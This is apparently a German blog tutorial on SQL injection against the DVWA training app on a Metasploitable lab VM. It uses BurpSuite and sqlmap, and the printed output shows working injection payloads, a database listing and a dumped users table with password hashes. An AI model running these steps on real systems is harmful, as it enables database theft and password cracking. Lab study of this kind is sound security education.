SQLmap Crashkurs
18.12.2017, 20:09 - Autor: PGD
Den Angriff vorbereiten
Zunächst müssen wir mit
http://192.168.1.104/dvwa/ (unser Metasploitable 2 VPC) die Webseite aufrufen,
wobei Sie die IP-Adresse natürlich abändern müssen in Ihrem Netzwerk. Zur
Erinnerung: Sie können sich mit dem User msfadmin und dem Passwort msfadmin
auf dem Metasploitable VPC einloggen und mit ifconfig die IP-Adresse
abfragen.
Zunächst müssen wir uns in der DVWA-Seite einloggen. Das geschieht mit dem
User
admin und dem ganz besonders sicheren Passwort
password. Danach habe
ich die Sicherheit auf "Low" gesetzt. Das machen Sie unter "DVWA Security"
ziemlich weit unten auf der linken Seite.
Ich kann Ihnen an dieser Stelle nur empfehlen alle Angriffe auf dem Level
"Low" zu versuchen. Wenn Sie jeden der Angriffe geschafft haben steigern
Sie die Sicherheit auf "Medium" und beginnen von vorne!
BurpSuite
... ist ein sogenannter Intercepting-Proxy, also ein Proxy-Server der es
erlaubt Requests (Anfragen) an den Webserver sowie Responses (Antworten)
vom Webserver abzufangen und zu manipulieren. Damit können wir sehr einfach
und unkompliziert die Kommunikation zwischen Client und Server beobachten
und auch eingreifen um Daten zu übermitteln, die so nicht vorgesehen waren.
Dies kann genutzt werden um die Funktion einer Webseite zu verstehen und
vor allem um
SQL-Code zu injizieren bzw. die Verwundbarkeit gegenüber
dieses Angriffs zu testen. Aber auch das einschleusen von Javascript- oder
HTML-Code klappt vorzüglich. Die Möglichkeiten von
burpsuite gehen aber weit darüber hinaus. So wird eine Seite im Hintergrund
geparst und alle Links zu anderen Seiten und Verweise zu weiteren Dateien
wie zB
JS-Scripts werden gesammelt. So kann man sich einen Überblick über
die einzelnen Dateien verschaffen, ohne die Seite aktiv zu crawlen.
Natürlich ist es ebenfalls möglich die Seite aktiv crawlen zu lassen und so
auf einem Schlag die gesamte Struktur offenzulegen. Außerdem kann man mit
dem Repeater-Tab Request wiederholen um verschiedenste Angriffe zu testen
ohne diese jeweils ein Forumlar erneut ausfüllen zu müssen. Das kann Ihnen
einiges an Zeit ersparen.
Darum werde ich Ihnen mit Hilfe dieses Tools gleich einen der
gefährlichsten Angriffe auf eine Webseite demonstrieren. Die Rede ist von
SQL-Injection oder kurz
SQLi.
Wenn wir BurpSuite starten bekommen wir folgende zwei Fragen gestellt:
In der kostenlosen Version ist es nicht möglich ein Projekt für eine
spätere Weiterverarbeitung zu speichern. Daher können wir hier nur ein
temporäres Projekt erstellen indem wir auf Next klicken.
Für unser Beispiel reicht auch die Standard-Konfiguration aus - eigentlich
für so gut wie alles was man machen möchte. Für Spezialfälle sollten Sie
diesbezüglich die Dokumentation zu Rate ziehen. Starten wir nun also
BurpSuite mit einen Klick auf den Button unten rechts.
Danach sehen Sie dieses Fenster. Zum Überprüfen ob der Proxy-Server läuft
und auf welchen Port er lauscht öffnen Sie den Proxy-Tab. Innerhalb dieses
Tabs öffnen Sie den Reiter "Options". Wie sich sich sicher schon gedacht
haben benötigt BurpSuite
root-Rechte um den Proxy-Server einzurichten und
anzubieten.
Danach müssen wir den Browser so konfigurieren, dass dieser den soeben
gestarteten Proxy-
Server verwendet. Dazu öffnen wir den vorinstallierten Firefox-Browser und
klicken auf das Menü-Symbol und Einstellungen:
Unter Advanced und Network öffnen Sie dann die "Connection-Settings" mit
einem Klick auf den ersten Button auf der linken Seite.
Hier wählen Sie "Manual proxy configuration" und tragen unter HTTP-Proxy
die IP-Adresse und den Port ein, den Sie in der BurpSuite gesehen haben.
Danach setzen Sie noch einen Haken bei "Use this proxy server for all
protocols", wie Sie es in dem Bildschirmfoto oben sehen können. Jetzt
bestätigen Sie diese Eingaben mit dem OK-Button und Ihr Browser ist
einsatzbereit.
Schalten Sie nun innerhalb Proxy-Tab im Intercept-Tab die Funktion "Intercept" ab um vorerst keine
Daten abzufangen. Nun können Sie DVWA aufrufen und zur Rubrik "SQL Injection" navigieren.
Bevor Sie das Formular absenden aktivieren Sie "Intercept"
wieder. Dies veranlasst den Proxy die Kommunikation zu unterbrechen
damit wir diese begutachten oder verändern können.
Wechseln Sie dazu zu BurpSuite, öffnen Sie den Proxy-Tab und darin den
Reiter "Intercept". Wie hier gezeigt muss der Intersept-Button aktiviert
sein.
Sobald Sie nun das Forular absenden wird die Anfrage abgefangen:
GET http://192.168.1.104/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.104/dvwa/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=c33f56f6bbcf71a32b8977d7f158ca0d
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Genau diesen HTTP-GET-Header kopieren wir und speichern ihn in der Datei
request.txt ab.
Mit dem Forward-Button wird nun diese Anfrage unverändert an den Webserver gesendet. Mit dem Drop-Button könnten Sie übrigens eine Anfrage oder eine Antwort verwerfen.
Den Angriff mit sqlmap durchführen
Nachdem wir uns die Test-Umgebung eingerichtet haben müssen wir ein Request
an den Server abfangen und in einer Text-Datei speichern. Dazu können Sie
zB
BurpSuite verwenden wie oben bereits gezeigt. Dann wählen Sie auf der DVWA-Seite links
den Punkt "SQL-Injection" und tragen in das dafür vorgesehen Feld eine
beliebige Nummer als ID ein und senden das Formular ab. In
BurpSuite kopieren den ganzen Text des Requests in einen Texteditor.
Wichtig ist, dass es ein reiner Text-Editor ist und nicht Abiword oder
Libreoffice! Ich wendende hier beispielsweise
Gedit,
Geany oder
Leafpad. Danach
speichere ich die Datei in mein Home-Verzeichnis als request.txt ab. Das
erspart uns alle möglichen Parameter von Hand einzutragen und beugt somit
auch gleich Tippfehlern vor!
root@kali:~# sqlmap -r request.txt -p id --dbs
___
__H__
___ ___[)]_____ ___ ___ {1.1.2#stable}
|_ -| . ["] | .‘| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user‘s responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program
[*] starting at 00:22:39
[00:22:39] [INFO] parsing HTTP request from ‚request.txt‘
[00:22:39] [INFO] testing connection to the target URL
[00:22:39] [INFO] testing if the target URL is stable
[00:22:40] [INFO] target URL is stable
[00:22:40] [INFO] heuristics detected web page charset ‚ascii‘
[00:22:40] [INFO] heuristic (basic) test shows that GET parameter ‚id‘
might be
injectable (possible DBMS: ‚MySQL‘)
[00:22:40] [INFO] heuristic (XSS) test shows that GET parameter ‚id‘ might
be
vulnerable to cross-site scripting attacks
[00:22:40] [INFO] testing for SQL injection on GET parameter ‚id‘
it looks like the back-end DBMS is ‚MySQL‘. Do you want
to skip test
payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for ‚MySQL‘
extending provided level (1) and risk (1) values? [Y/n] Y
[00:23:02] [INFO] testing ‚AND boolean-based blind - WHERE or HAVING clause‘
[00:23:02] [WARNING] reflective value(s) found and filtering out
[00:23:03] [INFO] testing ‚AND boolean-based blind -
WHERE or HAVING clause (MySQL comment)‘
[00:23:06] [INFO] testing ‚OR boolean-based blind -
WHERE or HAVING clause (MySQL comment)‘
... Ausgabe gekürzt
[00:23:22] [INFO] GET parameter ‚id‘ is
‚MySQL UNION query (NULL) - 1 to 20 columns‘ injectable
[00:23:22] [WARNING] in OR boolean-based injection cases, please consider
usage of switch ‚--drop-set-cookie‘ if you experience any problems during
data retrieval
GET parameter ‚id‘ is vulnerable.
Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 217
HTTP(s) requests:
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
(NOT)
Payload: id=2‘ OR NOT 1427=1427#&Submit=Submit
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
(FLOOR)
Payload: id=2‘ AND ROW(6595,8063)>(SELECT
COUNT(*),CONCAT(0x716b6a7a71,(SELECT
(ELT(6595=6595,1))),0x7178707a71,FLOOR(RAND(0)*2))x FROM (SELECT 2311 UNION
SELECT 5307 UNION SELECT 3243 UNION SELECT 7634)a GROUP BY x)--
ZzDE&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=2‘ AND SLEEP(5)-- xgZf&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=2‘ UNION ALL SELECT CONCAT(0x716b6a7a71, 0x50764a5452674c74464e6c6b50587479594d43616c4b6944724c636a66766d424a4e664a4d676c52, 0x7178707a71), NULL#&Submit=Submit
[00:23:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[00:23:27] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
Mit
-r dateiname legen wir die Datei fest, aus der sqlmap alle Parameter parsen
soll,
-p id legt fest, dass nur der Parameter id getestet werden soll
(andernfalls werden alle getestet) und
--dbs sorgt für eine Auflistung der Datenbanken auf die der aktuelle User
Zugriff hat.
Apropos User, schauen wir mal als wer wir da auf der Datenbank angemeldet
sind:
root@kali:~# sqlmap -r request.txt -p id --current-user
___
__H__
___ ___[(]_____ ___ ___ {1.1.2#stable}
|_ -| . [)] | .‘| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
... Ausgabe gekürzt
[01:14:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[01:14:36] [INFO] fetching current user
[01:14:37] [WARNING] reflective value(s) found and filtering out
current user: ‚root@%‘
Wir sind also
root, das ist schlimm aber noch schlimmer ist das
@%, denn
das bedeutet, dass sich
root von überall einloggen darf. Also kommt man
wenn man das Passwort hat und der MySQL-Port an der Firewall freigegeben
ist auch mit
root von jedem beliebigen Rechner auf die Datenbank. Das
root
das darf kommt in der Praxis normalerweise nicht vor (außer jemand ohne
Ahnung hat einen V-Server oder Root-Server aufgesetzt). Aber jeder andere
Benutzer der sich von einer beliebigen IP aus anmelden kann erlaubt es in
der Regel die Datenbank sofort in einem Stück herunterzuladen. Ich
überlasse es Ihnen in der
sqlmap Dokumentation danach zu suchen wie man den
Passwort-Hash downloaded und gleich mit dem eingebauten Passwort-Knacker zu
knacken versucht.
Als nächstes wollen wir uns eine der Datenbanken näher ansehen:
user@kali:~$ sqlmap -r request.txt -p id -D dvwa --tables
___
__H__
___ ___[)]_____ ___ ___ {1.1.2#stable}
|_ -| . ["] | .‘| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
... Ausgabe gekürzt
[01:22:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[01:22:22] [INFO] fetching tables for database: ‚dvwa‘
[01:22:22] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
Hierbei legt der Parameter
-D datenbankname fest welche Datenbank benutzt werden soll und
--tables erzeugt eine Auflichtung aller Tabellen dieser Datenbank.
Da wir es auf die Login-Daten abgesehen haben werden wir uns nun die
Tabelle users vornehmen:
root@kali:~# sqlmap -r request.txt -p id -D dvwa -T users --dump
... Ausgabe gekürzt
[01:26:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[01:26:39] [INFO] fetching columns for table ‚users‘ in database ‚dvwa‘
[01:26:39] [WARNING] reflective value(s) found and filtering out
[01:26:39] [INFO] fetching entries for table ‚users‘ in database ‚dvwa‘
[01:26:39] [INFO] analyzing table dump for possible password hashes
[01:26:39] [INFO] recognized possible password hashes in column ‚password‘
do you want to store hashes to a temporary file for eventual further
processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: dvwa
Table: users
[5 entries]
+---------+---------+-------------+----------------------------------+-----------+-----------+
| user_id | user | avatar | password |last_name | first_name |
+---------+---------+-------------+----------------------------------+-----------+-----------+
| 1 | admin | admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 |admin | admin |
| 2 | gordonb | gordonb.jpg | e99a18c428cb38d5f260853678922e03 |Brown | Gordon |
| 3 | 1337 | 1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b | Me | Hack |
| 4 | pablo | pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 |Picasso | Pablo |
| 5 | smithy | smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 |Smith | Bob |
+---------+---------+-------------+----------------------------------+-----------+-----------+
Auch hier schlägt
sqlmap vor, dass wir die Hashes in eine separate Datei zu
extrahieren. Dies wird benötigt um die Hashes mit
rcrack,
hashcat oder
ähnlichen Tools zu knacken. Danach werden wir gefragt ob wir die Passwörter
mit dem mitgelieferten Wörterbuch knacken wollen. Wir hätten sogar die
Option ein eigenes Wörterbuch zu definieren.
Ich verneine dies aber beides an dieser Stelle weil ich dazu ein von mir
entwickeltes Tool verwenden möchte. Außerdem werde ich an dieser Stelle auf
einen echten Dump zurückgreifen den ich bei Sicherheits-Tests für einen
Kunden gezogen habe. Darin befinden sich mehr als 17.000 Passwörter, die
mit md5 gehasht wurden. siehe
CSVHashCrack
Zuvor will ich jedoch kurz auf den zweiten SQL-Injection Punkt in DVWA
eingehen. Die sogenannte Blind oder
Blind Boolean SQL-Injection. Hierbei
können die Daten nicht direkt mit geschickt gestalteten
SQL-Anfragen
herausgeschmuggelt werden, sondern müssen erraten werden. Daher also das
blind. In dem Fall wird anhand von Veränderungen im
Verhalten oder der Reaktionszeit der Seite versucht zu erraten ob ein
SQL-Befehl klappt oder nicht. Als
Boolean werden Wahrheitswerte in der
Programmierung bezeichnet. Diese Variablen können nur einen Wert für Wahr
oder Falsch annehmen. Setzt man das blinde Raten und die Wahrheitswerte in
Bezug, kommt man also auf ein blindwütiges Ratespielchen mit Ja/Nein -
Fragen und genau das ist es was dieser Angriff macht!
In leichter lesbare Form übersetzt kann man sich das wie folgt vorstellen:
Hat das Ergebnis von der Abfrage 1 Zeichen -> NEIN
Hat das Ergebnis von der Abfrage 2 Zeichen -> JA
Ist das erste Zeichen des Ergebnisses 1 ----> NEIN
Ist das erste Zeichen des Ergebnisses 2 ----> JA
Ist das zweite Zeichen des Ergebnisses 1 ---> NEIN
Ist das zweite Zeichen des Ergebnisses 2 ---> NEIN
... usw.
Ist das zweite Zeichen des Ergebnisses 7 ---> JA
ERGEBNIS: 27
Wie Sie sich vorstellen können ist dies weder effizient noch schnell aber
unter Umständen die einzige Variante die funktioniert. Wie auch bei dem
Beispiel mit den 17.000 Login-Daten - hier sind über mehrere Tage lang die
Felder Buchstabe für Buchstabe und Ziffer für Ziffer hereingetröpfelt. In
dieser Zeit müssen das zig Milliarden von Anfragen gewesen sein und die
Log-Datei müsste astronomische Ausmaße angenommen haben. Dennoch ist das
niemanden aufgefallen, da scheinbar niemand die Server-Logs oder
Zugriffsprotokolle kontrollierte.
Wenn Sie bei einem Angriff dieses Verhalten feststellen dann wundern Sie
sich nicht. Sie können den Vorgang aber etwas beschleunigen indem Sie mit
--threads 4 beispielsweise 4 Verbindungen verwenden um 4 Zeichen
gleichzeitig abzuprüfen. Hierbei können Sie die Nummer natürlich so niedrig
oder hoch wählen wie es der Server und ihre Leitung zulassen.
Wenn Sie bei einem Versuch keinen Treffer feststellen, Sie allerdings
aufgrund eigener Tests sicher wissen, dass der Parameter angreifbar ist,
dann können Sie mit
--level 5 und
--risk 3 die Anzahl der Tests und die
Aggressivität von
sqlmap auf das Maximum steigern. Dadurch dauert der
Testdurchlauf länger und hinterlässt auch viel mehr Log-Zeilen am Server.
Sie können für
--level die Werte von 1 bis 5 und für
--risk die Werte von 1 bis 3
verwenden. Alles weiter entnehmen Sie bitte der Dokumentation!
Glücklicherweise gibt es in so gut wie jeder Sprache vorgefertigte
Funktionen, die es erlauben
SQL-Zeichen auszufiltern bzw. zu quoten und so
derartigen Angriffen vorbeugen. Als Programmierer steht man allerdings vor
den Problem, dass man beispielsweise 1.000 SQL-Abfragen absichern muss -
der Angreifer hingegen muss nur die eine finden bei der der Programmierer
dies vergessen hat.
Ein anderer Weg wäre es auf Datenbanken zu verzichten. Viele Dinge können
auch einfach in Text-Dateien gespeichert werden. Je nach Projekt kann dies
durchaus Sinn machen.
Die Automatik von
sqlmap arbeitet nicht in allen Fällen korrekt! Daher ist
es für einen Angreifer unerlässlich sich mit
SQL zu beschäftigen und diese
Sprache zu beherrschen um
sqlmap mit einem passenden Prefix-Wert auf die
Sprünge zu helfen falls nötig. Oftmals würden die Angriffsmethoden
funktionieren - der Angriff scheitert aber daran, dass
sqlmal das
SQL-Kommando nicht syntaktisch korrekt schließen kann. Dann heißt es nacharbeiten um den Angriff zum
Laufen zu bringen.